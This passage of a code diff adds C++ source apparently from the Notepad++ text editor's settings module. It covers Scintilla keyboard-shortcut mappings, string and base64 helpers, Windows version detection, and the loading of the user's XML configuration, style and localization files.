0}, + {TEXT("SCI_COPY"), SCI_COPY, true, false, false, VK_C, IDM_EDIT_COPY}, + {TEXT(""), SCI_COPY, true, false, false, VK_INSERT, 0}, + {TEXT("SCI_PASTE"), SCI_PASTE, true, false, false, VK_V, IDM_EDIT_PASTE}, + {TEXT(""), SCI_PASTE, false, false, true, VK_INSERT, 0}, + {TEXT("SCI_SELECTALL"), SCI_SELECTALL, true, false, false, VK_A, IDM_EDIT_SELECTALL}, + {TEXT("SCI_CLEAR"), SCI_CLEAR, false, false, false, VK_DELETE, IDM_EDIT_DELETE}, + {TEXT("SCI_CLEARALL"), SCI_CLEARALL, false, false, false, 0, 0}, + {TEXT("SCI_UNDO"), SCI_UNDO, true, false, false, VK_Z, IDM_EDIT_UNDO}, + {TEXT(""), SCI_UNDO, false, true, false, VK_BACK, 0}, + {TEXT("SCI_REDO"), SCI_REDO, true, false, false, VK_Y, IDM_EDIT_REDO}, + {TEXT(""), SCI_REDO, true, false, true, VK_Z, 0}, + {TEXT("SCI_NEWLINE"), SCI_NEWLINE, false, false, false, VK_RETURN, 0}, + {TEXT(""), SCI_NEWLINE, false, false, true, VK_RETURN, 0}, + {TEXT("SCI_TAB"), SCI_TAB, false, false, false, VK_TAB, IDM_EDIT_INS_TAB}, + {TEXT("SCI_BACKTAB"), SCI_BACKTAB, false, false, true, VK_TAB, IDM_EDIT_RMV_TAB}, + {TEXT("SCI_FORMFEED"), SCI_FORMFEED, false, false, false, 0, 0}, + {TEXT("SCI_ZOOMIN"), SCI_ZOOMIN, true, false, false, VK_ADD, IDM_VIEW_ZOOMIN}, + {TEXT("SCI_ZOOMOUT"), SCI_ZOOMOUT, true, false, false, VK_SUBTRACT, IDM_VIEW_ZOOMOUT}, + {TEXT("SCI_SETZOOM"), SCI_SETZOOM, true, false, false, VK_DIVIDE, IDM_VIEW_ZOOMRESTORE}, + {TEXT("SCI_SELECTIONDUPLICATE"), SCI_SELECTIONDUPLICATE, true, false, false, VK_D, IDM_EDIT_DUP_LINE}, + {TEXT("SCI_LINESJOIN"), SCI_LINESJOIN, false, false, false, 0, 0}, + {TEXT("SCI_SCROLLCARET"), SCI_SCROLLCARET, false, false, false, 0, 0}, + {TEXT("SCI_EDITTOGGLEOVERTYPE"), SCI_EDITTOGGLEOVERTYPE, false, false, false, VK_INSERT, 0}, + {TEXT("SCI_MOVECARETINSIDEVIEW"), SCI_MOVECARETINSIDEVIEW, false, false, false, 0, 0}, + {TEXT("SCI_LINEDOWN"), SCI_LINEDOWN, false, false, false, VK_DOWN, 0}, + {TEXT("SCI_LINEDOWNEXTEND"), SCI_LINEDOWNEXTEND, false, false, true, VK_DOWN, 0}, + {TEXT("SCI_LINEDOWNRECTEXTEND"), SCI_LINEDOWNRECTEXTEND, false, true, true, VK_DOWN, 0}, + {TEXT("SCI_LINESCROLLDOWN"), SCI_LINESCROLLDOWN, true, false, false, VK_DOWN, 0}, + {TEXT("SCI_LINEUP"), SCI_LINEUP, false, false, false, VK_UP, 0}, + {TEXT("SCI_LINEUPEXTEND"), SCI_LINEUPEXTEND, false, false, true, VK_UP, 0}, + {TEXT("SCI_LINEUPRECTEXTEND"), SCI_LINEUPRECTEXTEND, false, true, true, VK_UP, 0}, + {TEXT("SCI_LINESCROLLUP"), SCI_LINESCROLLUP, true, false, false, VK_UP, 0}, + {TEXT("SCI_PARADOWN"), SCI_PARADOWN, true, false, false, VK_OEM_6, 0}, + {TEXT("SCI_PARADOWNEXTEND"), SCI_PARADOWNEXTEND, true, false, true, VK_OEM_6, 0}, + {TEXT("SCI_PARAUP"), SCI_PARAUP, true, false, false, VK_OEM_4, 0}, + {TEXT("SCI_PARAUPEXTEND"), SCI_PARAUPEXTEND, true, false, true, VK_OEM_4, 0}, + {TEXT("SCI_CHARLEFT"), SCI_CHARLEFT, false, false, false, VK_LEFT, 0}, + {TEXT("SCI_CHARLEFTEXTEND"), SCI_CHARLEFTEXTEND, false, false, true, VK_LEFT, 0}, + {TEXT("SCI_CHARLEFTRECTEXTEND"), SCI_CHARLEFTRECTEXTEND, false, true, true, VK_LEFT, 0}, + {TEXT("SCI_CHARRIGHT"), SCI_CHARRIGHT, false, false, false, VK_RIGHT, 0}, + {TEXT("SCI_CHARRIGHTEXTEND"), SCI_CHARRIGHTEXTEND, false, false, true, VK_RIGHT, 0}, + {TEXT("SCI_CHARRIGHTRECTEXTEND"), SCI_CHARRIGHTRECTEXTEND, false, true, true, VK_RIGHT, 0}, + {TEXT("SCI_WORDLEFT"), SCI_WORDLEFT, true, false, false, VK_LEFT, 0}, + {TEXT("SCI_WORDLEFTEXTEND"), SCI_WORDLEFTEXTEND, true, false, true, VK_LEFT, 0}, + {TEXT("SCI_WORDRIGHT"), SCI_WORDRIGHT, true, false, false, VK_RIGHT, 0}, + {TEXT("SCI_WORDRIGHTEXTEND"), SCI_WORDRIGHTEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_WORDLEFTEND"), SCI_WORDLEFTEND, false, false, false, 0, 0}, + {TEXT("SCI_WORDLEFTENDEXTEND"), SCI_WORDLEFTENDEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_WORDRIGHTEND"), SCI_WORDRIGHTEND, false, false, false, 0, 0}, + {TEXT("SCI_WORDRIGHTENDEXTEND"), SCI_WORDRIGHTENDEXTEND, true, false, true, VK_RIGHT, 0}, + {TEXT("SCI_WORDPARTLEFT"), SCI_WORDPARTLEFT, true, false, false, VK_OEM_2, 0}, + {TEXT("SCI_WORDPARTLEFTEXTEND"), SCI_WORDPARTLEFTEXTEND, true, false, true, VK_OEM_2, 0}, + {TEXT("SCI_WORDPARTRIGHT"), SCI_WORDPARTRIGHT, true, false, false, VK_OEM_5, 0}, + {TEXT("SCI_WORDPARTRIGHTEXTEND"), SCI_WORDPARTRIGHTEXTEND, true, false, true, VK_OEM_5, 0}, + {TEXT("SCI_HOME"), SCI_HOME, false, false, false, 0, 0}, + {TEXT("SCI_HOMEEXTEND"), SCI_HOMEEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_HOMERECTEXTEND"), SCI_HOMERECTEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_HOMEDISPLAY"), SCI_HOMEDISPLAY, false, true, false, VK_HOME, 0}, + {TEXT("SCI_HOMEDISPLAYEXTEND"), SCI_HOMEDISPLAYEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_HOMEWRAP"), SCI_HOMEWRAP, false, false, false, 0, 0}, + {TEXT("SCI_HOMEWRAPEXTEND"), SCI_HOMEWRAPEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_VCHOME"), SCI_VCHOME, false, false, false, 0, 0}, + {TEXT("SCI_VCHOMEWRAPEXTEND"), SCI_VCHOMEWRAPEXTEND, false, false, true, VK_HOME, 0}, + {TEXT("SCI_VCHOMERECTEXTEND"), SCI_VCHOMERECTEXTEND, false, true, true, VK_HOME, 0}, + {TEXT("SCI_VCHOMEWRAP"), SCI_VCHOMEWRAP, false, false, false, VK_HOME, 0}, + {TEXT("SCI_LINEEND"), SCI_LINEEND, false, false, false, 0, 0}, + {TEXT("SCI_LINEENDWRAPEXTEND"), SCI_LINEENDWRAPEXTEND, false, false, true, VK_END, 0}, + {TEXT("SCI_LINEENDRECTEXTEND"), SCI_LINEENDRECTEXTEND, false, true, true, VK_END, 0}, + {TEXT("SCI_LINEENDDISPLAY"), SCI_LINEENDDISPLAY, false, true, false, VK_END, 0}, + {TEXT("SCI_LINEENDDISPLAYEXTEND"), SCI_LINEENDDISPLAYEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_LINEENDWRAP"), SCI_LINEENDWRAP, false, false, false, VK_END, 0}, + {TEXT("SCI_LINEENDEXTEND"), SCI_LINEENDEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_DOCUMENTSTART"), SCI_DOCUMENTSTART, true, false, false, VK_HOME, 0}, + {TEXT("SCI_DOCUMENTSTARTEXTEND"), SCI_DOCUMENTSTARTEXTEND, true, false, true, VK_HOME, 0}, + {TEXT("SCI_DOCUMENTEND"), SCI_DOCUMENTEND, true, false, false, VK_END, 0}, + {TEXT("SCI_DOCUMENTENDEXTEND"), SCI_DOCUMENTENDEXTEND, true, false, true, VK_END, 0}, + {TEXT("SCI_PAGEUP"), SCI_PAGEUP, false, false, false, VK_PRIOR, 0}, + {TEXT("SCI_PAGEUPEXTEND"), SCI_PAGEUPEXTEND, false, false, true, VK_PRIOR, 0}, + {TEXT("SCI_PAGEUPRECTEXTEND"), SCI_PAGEUPRECTEXTEND, false, true, true, VK_PRIOR, 0}, + {TEXT("SCI_PAGEDOWN"), SCI_PAGEDOWN, false, false, false, VK_NEXT, 0}, + {TEXT("SCI_PAGEDOWNEXTEND"), SCI_PAGEDOWNEXTEND, false, false, true, VK_NEXT, 0}, + {TEXT("SCI_PAGEDOWNRECTEXTEND"), SCI_PAGEDOWNRECTEXTEND, false, true, true, VK_NEXT, 0}, + {TEXT("SCI_STUTTEREDPAGEUP"), SCI_STUTTEREDPAGEUP, false, false, false, 0, 0}, + {TEXT("SCI_STUTTEREDPAGEUPEXTEND"), SCI_STUTTEREDPAGEUPEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_STUTTEREDPAGEDOWN"), SCI_STUTTEREDPAGEDOWN, false, false, false, 0, 0}, + {TEXT("SCI_STUTTEREDPAGEDOWNEXTEND"), SCI_STUTTEREDPAGEDOWNEXTEND, false, false, false, 0, 0}, + {TEXT("SCI_DELETEBACK"), SCI_DELETEBACK, false, false, false, VK_BACK, 0}, + {TEXT(""), SCI_DELETEBACK, false, false, true, VK_BACK, 0}, + {TEXT("SCI_DELETEBACKNOTLINE"), SCI_DELETEBACKNOTLINE, false, false, false, 0, 0}, + {TEXT("SCI_DELWORDLEFT"), SCI_DELWORDLEFT, true, false, false, VK_BACK, 0}, + {TEXT("SCI_DELWORDRIGHT"), SCI_DELWORDRIGHT, true, false, false, VK_DELETE, 0}, + {TEXT("SCI_DELLINELEFT"), SCI_DELLINELEFT, true, false, true, VK_BACK, 0}, + {TEXT("SCI_DELLINERIGHT"), SCI_DELLINERIGHT, true, false, true, VK_DELETE, 0}, + {TEXT("SCI_LINEDELETE"), SCI_LINEDELETE, true, false, true, VK_L, 0}, + {TEXT("SCI_LINECUT"), SCI_LINECUT, true, false, false, VK_L, 0}, + {TEXT("SCI_LINECOPY"), SCI_LINECOPY, true, false, true, VK_X, 0}, + {TEXT("SCI_LINETRANSPOSE"), SCI_LINETRANSPOSE, true, false, false, VK_T, 0}, + {TEXT("SCI_LINEDUPLICATE"), SCI_LINEDUPLICATE, false, false, false, 0, 0}, + {TEXT("SCI_CANCEL"), SCI_CANCEL, false, false, false, VK_ESCAPE, 0}, + {TEXT("SCI_SWAPMAINANCHORCARET"), SCI_SWAPMAINANCHORCARET, false, false, false, 0, 0}, + {TEXT("SCI_ROTATESELECTION"), SCI_ROTATESELECTION, false, false, false, 0, 0} +}; + + +typedef void (WINAPI *PGNSI)(LPSYSTEM_INFO); + + + + + + + + + int strVal(const TCHAR *str, int base) + { + if (!str) return -1; + if (!str[0]) return 0; + + TCHAR *finStr; + int result = generic_strtol(str, &finStr, base); + if (*finStr != '\0') + return -1; + return result; + } + + + int decStrVal(const TCHAR *str) + { + return strVal(str, 10); + } + + int hexStrVal(const TCHAR *str) + { + return strVal(str, 16); + } + + int getKwClassFromName(const TCHAR *str) + { + if (!lstrcmp(TEXT("instre1"), str)) return LANG_INDEX_INSTR; + if (!lstrcmp(TEXT("instre2"), str)) return LANG_INDEX_INSTR2; + if (!lstrcmp(TEXT("type1"), str)) return LANG_INDEX_TYPE; + if (!lstrcmp(TEXT("type2"), str)) return LANG_INDEX_TYPE2; + if (!lstrcmp(TEXT("type3"), str)) return LANG_INDEX_TYPE3; + if (!lstrcmp(TEXT("type4"), str)) return LANG_INDEX_TYPE4; + if (!lstrcmp(TEXT("type5"), str)) return LANG_INDEX_TYPE5; + + if ((str[1] == '\0') && (str[0] >= '0') && (str[0] <= '8')) // up to KEYWORDSET_MAX + return str[0] - '0'; + + return -1; + } + + + size_t getAsciiLenFromBase64Len(size_t base64StrLen) + { + return (base64StrLen % 4) ? 0 : (base64StrLen - base64StrLen / 4); + } + + + int base64ToAscii(char *dest, const char *base64Str) + { + static const int base64IndexArray[123] = + { + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 62, -1, -1, -1, 63, + 52, 53, 54, 55 ,56, 57, 58, 59, + 60, 61, -1, -1, -1, -1, -1, -1, + -1, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, + 23, 24, 25, -1, -1, -1, -1 ,-1, + -1, 26, 27, 28, 29, 30, 31, 32, + 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, + 49, 50, 51 + }; + + size_t b64StrLen = strlen(base64Str); + size_t nbLoop = b64StrLen / 4; + + size_t i = 0; + int k = 0; + + enum {b64_just, b64_1padded, b64_2padded} padd = b64_just; + for ( ; i < nbLoop ; i++) + { + size_t j = i * 4; + UCHAR uc0, uc1, uc2, uc3, p0, p1; + + uc0 = (UCHAR)base64IndexArray[base64Str[j]]; + uc1 = (UCHAR)base64IndexArray[base64Str[j+1]]; + uc2 = (UCHAR)base64IndexArray[base64Str[j+2]]; + uc3 = (UCHAR)base64IndexArray[base64Str[j+3]]; + + if ((uc0 == -1) || (uc1 == -1) || (uc2 == -1) || (uc3 == -1)) + return -1; + + if (base64Str[j+2] == '=') // && (uc3 == '=') + { + uc2 = uc3 = 0; + padd = b64_2padded; + } + else if (base64Str[j+3] == '=') + { + uc3 = 0; + padd = b64_1padded; + } + + p0 = uc0 << 2; + p1 = uc1 << 2; + p1 >>= 6; + dest[k++] = p0 | p1; + + p0 = uc1 << 4; + p1 = uc2 << 2; + p1 >>= 4; + dest[k++] = p0 | p1; + + p0 = uc2 << 6; + p1 = uc3; + dest[k++] = p0 | p1; + } + + //dest[k] = '\0'; + if (padd == b64_1padded) + // dest[k-1] = '\0'; + return k-1; + else if (padd == b64_2padded) + // dest[k-2] = '\0'; + return k-2; + + return k; + } + +} // anonymous namespace + + + + + + + +void cutString(const TCHAR* str2cut, vector& patternVect) +{ + TCHAR str2scan[MAX_PATH]; + lstrcpy(str2scan, str2cut); + size_t len = lstrlen(str2scan); + bool isProcessing = false; + TCHAR *pBegin = nullptr; + + for (size_t i = 0 ; i <= len ; ++i) + { + switch(str2scan[i]) + { + case ' ': + case '\0': + { + if (isProcessing) + { + str2scan[i] = '\0'; + patternVect.push_back(pBegin); + isProcessing = false; + } + break; + } + + default: + { + if (!isProcessing) + { + isProcessing = true; + pBegin = str2scan+i; + } + } + } + } +} + + +std::wstring LocalizationSwitcher::getLangFromXmlFileName(const wchar_t *fn) const +{ + size_t nbItem = sizeof(localizationDefs)/sizeof(LocalizationSwitcher::LocalizationDefinition); + for (size_t i = 0 ; i < nbItem ; ++i) + { + if (0 == wcsicmp(fn, localizationDefs[i]._xmlFileName)) + return localizationDefs[i]._langName; + } + return std::wstring(); +} + + +std::wstring LocalizationSwitcher::getXmlFilePathFromLangName(const wchar_t *langName) const +{ + for (size_t i = 0, len = _localizationList.size(); i < len ; ++i) + { + if (0 == wcsicmp(langName, _localizationList[i].first.c_str())) + return _localizationList[i].second; + } + return std::wstring(); +} + + +bool LocalizationSwitcher::addLanguageFromXml(wstring xmlFullPath) +{ + wchar_t * fn = ::PathFindFileNameW(xmlFullPath.c_str()); + wstring foundLang = getLangFromXmlFileName(fn); + if (not foundLang.empty()) + { + _localizationList.push_back(pair(foundLang, xmlFullPath)); + return true; + } + return false; +} + + +bool LocalizationSwitcher::switchToLang(wchar_t *lang2switch) const +{ + wstring langPath = getXmlFilePathFromLangName(lang2switch); + if (langPath.empty()) + return false; + + return ::CopyFileW(langPath.c_str(), _nativeLangPath.c_str(), FALSE) != FALSE; +} + + +generic_string ThemeSwitcher::getThemeFromXmlFileName(const TCHAR *xmlFullPath) const +{ + if (!xmlFullPath || !xmlFullPath[0]) + return generic_string(); + generic_string fn(::PathFindFileName(xmlFullPath)); + PathRemoveExtension(const_cast(fn.c_str())); + return fn; +} + + +winVer NppParameters::getWindowsVersion() +{ + OSVERSIONINFOEX osvi; + SYSTEM_INFO si; + PGNSI pGNSI; + + ZeroMemory(&si, sizeof(SYSTEM_INFO)); + ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); + + osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + BOOL bOsVersionInfoEx = GetVersionEx ((OSVERSIONINFO *)&osvi); + if (!bOsVersionInfoEx) + { + osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); + if (! GetVersionEx ( (OSVERSIONINFO *) &osvi) ) + return WV_UNKNOWN; + } + + pGNSI = (PGNSI) GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo"); + if(pGNSI != NULL) + pGNSI(&si); + else + GetSystemInfo(&si); + + switch (si.wProcessorArchitecture) + { + case PROCESSOR_ARCHITECTURE_IA64: + _platForm = PF_IA64; + break; + + case PROCESSOR_ARCHITECTURE_AMD64: + _platForm = PF_X64; + break; + + case PROCESSOR_ARCHITECTURE_INTEL: + _platForm = PF_X86; + break; + + default: + _platForm = PF_UNKNOWN; + } + + switch (osvi.dwPlatformId) + { + case VER_PLATFORM_WIN32_NT: + { + if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) + return WV_WIN10; + + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3) + return WV_WIN81; + + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) + return WV_WIN8; + + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) + return WV_WIN7; + + if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0) + return WV_VISTA; + + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2) + { + if (osvi.wProductType == VER_NT_WORKSTATION && si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64) + return WV_XPX64; + return WV_S2003; + } + + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1) + return WV_XP; + + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) + return WV_W2K; + + if (osvi.dwMajorVersion <= 4) + return WV_NT; + break; + } + + // Test for the Windows Me/98/95. + case VER_PLATFORM_WIN32_WINDOWS: + { + if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0) + return WV_95; + + if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 10) + return WV_98; + + if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 90) + return WV_ME; + break; + } + + case VER_PLATFORM_WIN32s: + return WV_WIN32S; + + default: + return WV_UNKNOWN; + } + + return WV_UNKNOWN; +} + + + +NppParameters * NppParameters::_pSelf = new NppParameters; + +int FileDialog::_dialogFileBoxId = (NppParameters::getInstance())->getWinVersion() < WV_W2K?edt1:cmb13; + + +NppParameters::NppParameters() +{ + // init import UDL array + _nbImportedULD = 0; + for (int i = 0 ; i < NB_MAX_IMPORTED_UDL ; ++i) + _importedULD[i] = nullptr; + + //Get windows version + _winVersion = getWindowsVersion(); + + // Prepare for default path + TCHAR nppPath[MAX_PATH]; + ::GetModuleFileName(NULL, nppPath, MAX_PATH); + + PathRemoveFileSpec(nppPath); + _nppPath = nppPath; + + //Initialize current directory to startup directory + TCHAR curDir[MAX_PATH]; + ::GetCurrentDirectory(MAX_PATH, curDir); + _currentDirectory = curDir; + + _appdataNppDir.clear(); + generic_string notepadStylePath(_nppPath); + PathAppend(notepadStylePath, notepadStyleFile); + + _asNotepadStyle = (PathFileExists(notepadStylePath.c_str()) == TRUE); + + //Load initial accelerator key definitions + initMenuKeys(); + initScintillaKeys(); +} + + +NppParameters::~NppParameters() +{ + for (int i = 0 ; i < _nbLang ; ++i) + delete _langList[i]; + for (int i = 0 ; i < _nbRecentFile ; ++i) + delete _LRFileList[i]; + for (int i = 0 ; i < _nbUserLang ; ++i) + delete _userLangArray[i]; + if (_hUXTheme) + FreeLibrary(_hUXTheme); + + for (std::vector::iterator it = _pXmlExternalLexerDoc.begin(), end = _pXmlExternalLexerDoc.end(); it != end; ++it ) + delete (*it); + + _pXmlExternalLexerDoc.clear(); +} + + +bool NppParameters::reloadStylers(TCHAR *stylePath) +{ + if (_pXmlUserStylerDoc) + delete _pXmlUserStylerDoc; + + _pXmlUserStylerDoc = new TiXmlDocument(stylePath?stylePath:_stylerPath); + bool loadOkay = _pXmlUserStylerDoc->LoadFile(); + if (!loadOkay) + { + ::MessageBox(NULL, TEXT("Load stylers.xml failed!"), stylePath, MB_OK); + delete _pXmlUserStylerDoc; + _pXmlUserStylerDoc = NULL; + return false; + } + _lexerStylerArray.eraseAll(); + _widgetStyleArray.setNbStyler( 0 ); + + getUserStylersFromXmlTree(); + + // Reload plugin styles. + for( size_t i = 0; i < getExternalLexerDoc()->size(); ++i) + { + getExternalLexerFromXmlTree( getExternalLexerDoc()->at(i) ); + } + return true; +} + +bool NppParameters::reloadLang() +{ + // use user path + generic_string nativeLangPath(_localizationSwitcher._nativeLangPath); + + // if "nativeLang.xml" does not exist, use npp path + if (!PathFileExists(nativeLangPath.c_str())) + { + nativeLangPath = _nppPath; + PathAppend(nativeLangPath, generic_string(TEXT("nativeLang.xml"))); + if (!PathFileExists(nativeLangPath.c_str())) + return false; + } + + if (_pXmlNativeLangDocA) + delete _pXmlNativeLangDocA; + + _pXmlNativeLangDocA = new TiXmlDocumentA(); + + bool loadOkay = _pXmlNativeLangDocA->LoadUnicodeFilePath(nativeLangPath.c_str()); + if (!loadOkay) + { + delete _pXmlNativeLangDocA; + _pXmlNativeLangDocA = nullptr; + return false; + } + return loadOkay; +} + +generic_string NppParameters::getSpecialFolderLocation(int folderKind) +{ + ITEMIDLIST *pidl; + const HRESULT specialLocationResult = SHGetSpecialFolderLocation(NULL, folderKind, &pidl); + if (!SUCCEEDED( specialLocationResult)) + return generic_string(); + + TCHAR path[MAX_PATH]; + SHGetPathFromIDList(pidl, path); + + return path; +} + + +generic_string NppParameters::getSettingsFolder() +{ + if (_isLocal) + return _nppPath; + + generic_string settingsFolderPath = getSpecialFolderLocation(CSIDL_APPDATA); + + if (settingsFolderPath.empty()) + return _nppPath; + + PathAppend(settingsFolderPath, TEXT("Notepad++")); + return settingsFolderPath; +} + + +bool NppParameters::load() +{ + L_END = L_EXTERNAL; + bool isAllLaoded = true; + for (int i = 0 ; i < NB_LANG ; _langList[i] = NULL, ++i) + {} + + _isx64 = sizeof(void *) == 8; + + // Make localConf.xml path + generic_string localConfPath(_nppPath); + PathAppend(localConfPath, localConfFile); + + // Test if localConf.xml exist + _isLocal = (PathFileExists(localConfPath.c_str()) == TRUE); + + // Under vista and windows 7, the usage of doLocalConf.xml is not allowed + // if Notepad++ is installed in "program files" directory, because of UAC + if (_isLocal) + { + // We check if OS is Vista or greater version + if (_winVersion >= WV_VISTA) + { + generic_string progPath = getSpecialFolderLocation(CSIDL_PROGRAM_FILES); + TCHAR nppDirLocation[MAX_PATH]; + lstrcpy(nppDirLocation, _nppPath.c_str()); + ::PathRemoveFileSpec(nppDirLocation); + + if (progPath == nppDirLocation) + _isLocal = false; + } + } + + if (_isLocal) + { + _userPath = _nppPath; + } + else + { + _userPath = getSpecialFolderLocation(CSIDL_APPDATA); + + PathAppend(_userPath, TEXT("Notepad++")); + _appdataNppDir = _userPath; + + // Plugin System V1 + if (!PathFileExists(_userPath.c_str())) + ::CreateDirectory(_userPath.c_str(), NULL); + + // Plugin System V2 + _localAppdataNppDir = getSpecialFolderLocation(CSIDL_LOCAL_APPDATA); + PathAppend(_localAppdataNppDir, TEXT("Notepad++")); + if (!PathFileExists(_localAppdataNppDir.c_str())) + ::CreateDirectory(_localAppdataNppDir.c_str(), NULL); + } + + + + _sessionPath = _userPath; // Session stock the absolute file path, it should never be on cloud + + // Detection cloud settings + generic_string cloudChoicePath{_userPath}; + cloudChoicePath += TEXT("\\cloud\\choice"); + + // cloudChoicePath doesn't exist, just quit + if (::PathFileExists(cloudChoicePath.c_str())) + { + // Read cloud choice + std::string cloudChoiceStr = getFileContent(cloudChoicePath.c_str()); + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + std::wstring cloudChoiceStrW = wmc->char2wchar(cloudChoiceStr.c_str(), SC_CP_UTF8); + + if (not cloudChoiceStrW.empty() and ::PathFileExists(cloudChoiceStrW.c_str())) + { + _userPath = cloudChoiceStrW; + _nppGUI._cloudPath = cloudChoiceStrW; + _initialCloudChoice = _nppGUI._cloudPath; + } + } + + + //-------------------------------------// + // Transparent function for w2k and xp // + //-------------------------------------// + HMODULE hUser32 = ::GetModuleHandle(TEXT("User32")); + if (hUser32) + _transparentFuncAddr = (WNDPROC)::GetProcAddress(hUser32, "SetLayeredWindowAttributes"); + + //---------------------------------------------// + // Dlg theme texture function for xp and vista // + //---------------------------------------------// + _hUXTheme = ::LoadLibrary(TEXT("uxtheme.dll")); + if (_hUXTheme) + _enableThemeDialogTextureFuncAddr = (WNDPROC)::GetProcAddress(_hUXTheme, "EnableThemeDialogTexture"); + + //--------------------------// + // langs.xml : for per user // + //--------------------------// + generic_string langs_xml_path(_userPath); + PathAppend(langs_xml_path, TEXT("langs.xml")); + + BOOL doRecover = FALSE; + if (::PathFileExists(langs_xml_path.c_str())) + { + struct _stat buf; + + if (generic_stat(langs_xml_path.c_str(), &buf)==0) + if (buf.st_size == 0) + doRecover = ::MessageBox(NULL, TEXT("Load langs.xml failed!\rDo you want to recover your langs.xml?"), TEXT("Configurator"),MB_YESNO); + } + else + doRecover = true; + + if (doRecover) + { + generic_string srcLangsPath(_nppPath); + PathAppend(srcLangsPath, TEXT("langs.model.xml")); + ::CopyFile(srcLangsPath.c_str(), langs_xml_path.c_str(), FALSE); + } + + _pXmlDoc = new TiXmlDocument(langs_xml_path); + + + bool loadOkay = _pXmlDoc->LoadFile(); + if (!loadOkay) + { + ::MessageBox(NULL, TEXT("Load langs.xml failed!"), TEXT("Configurator"),MB_OK); + delete _pXmlDoc; + _pXmlDoc = nullptr; + isAllLaoded = false; + } + else + getLangKeywordsFromXmlTree(); + + //---------------------------// + // config.xml : for per user // + //---------------------------// + generic_string configPath(_userPath); + PathAppend(configPath, TEXT("config.xml")); + + generic_string srcConfigPath(_nppPath); + PathAppend(srcConfigPath, TEXT("config.model.xml")); + + if (!::PathFileExists(configPath.c_str())) + ::CopyFile(srcConfigPath.c_str(), configPath.c_str(), FALSE); + + _pXmlUserDoc = new TiXmlDocument(configPath); + loadOkay = _pXmlUserDoc->LoadFile(); + + if (!loadOkay) + { + TiXmlDeclaration* decl = new TiXmlDeclaration(TEXT("1.0"), TEXT("Windows-1252"), TEXT("")); + _pXmlUserDoc->LinkEndChild(decl); + } + else + { + getUserParametersFromXmlTree(); + } + + //----------------------------// + // stylers.xml : for per user // + //----------------------------// + + _stylerPath = _userPath; + PathAppend(_stylerPath, TEXT("stylers.xml")); + + if (!PathFileExists(_stylerPath.c_str())) + { + generic_string srcStylersPath(_nppPath); + PathAppend(srcStylersPath, TEXT("stylers.model.xml")); + + ::CopyFile(srcStylersPath.c_str(), _stylerPath.c_str(), TRUE); + } + + if (_nppGUI._themeName.empty() || (!PathFileExists(_nppGUI._themeName.c_str()))) + _nppGUI._themeName.assign(_stylerPath); + + _pXmlUserStylerDoc = new TiXmlDocument(_nppGUI._themeName.c_str()); + + loadOkay = _pXmlUserStylerDoc->LoadFile(); + if (!loadOkay) + { + ::MessageBox(NULL, TEXT("Load stylers.xml failed!"), _stylerPath.c_str(), MB_OK); + delete _pXmlUserStylerDoc; + _pXmlUserStylerDoc = NULL; + isAllLaoded = false; + } + else + getUserStylersFromXmlTree(); + + _themeSwitcher._stylesXmlPath = _stylerPath; + // Firstly, add the default theme + _themeSwitcher.addDefaultThemeFromXml(_stylerPath); + + //-----------------------------------// + // userDefineLang.xml : for per user // + //-----------------------------------// + _userDefineLangPath = _userPath; + PathAppend(_userDefineLangPath, TEXT("userDefineLang.xml")); + + _pXmlUserLangDoc = new TiXmlDocument(_userDefineLangPath); + loadOkay = _pXmlUserLangDoc->LoadFile(); + if (!loadOkay) + { + delete _pXmlUserLangDoc; + _pXmlUserLangDoc = nullptr; + isAllLaoded = false; + } + else + getUserDefineLangsFromXmlTree(); + + //----------------------------------------------// + // nativeLang.xml : for per user // + // In case of absence of user's nativeLang.xml, // + // We'll look in the Notepad++ Dir. // + //----------------------------------------------// + + generic_string nativeLangPath; + nativeLangPath = _userPath; + PathAppend(nativeLangPath, TEXT("nativeLang.xml")); + + // LocalizationSwitcher should use always user path + _localizationSwitcher._nativeLangPath = nativeLangPath; + + if (not _startWithLocFileName.empty()) // localization argument detected, use user wished localization + { + // overwrite nativeLangPath variable + nativeLangPath = _nppPath; + PathAppend(nativeLangPath, TEXT("localization\\")); + PathAppend(nativeLangPath, _startWithLocFileName); + } + else // use %appdata% location, or (if absence then) npp installed location + { + if (!PathFileExists(nativeLangPath.c_str())) + { + nativeLangPath = _nppPath; + PathAppend(nativeLangPath, TEXT("nativeLang.xml")); + } + } + + + _pXmlNativeLangDocA = new TiXmlDocumentA(); + + loadOkay = _pXmlNativeLangDocA->LoadUnicodeFilePath(nativeLangPath.c_str()); + if (!loadOkay) + { + delete _pXmlNativeLangDocA; + _pXmlNativeLangDocA = nullptr; + isAllLaoded = false; + } + + 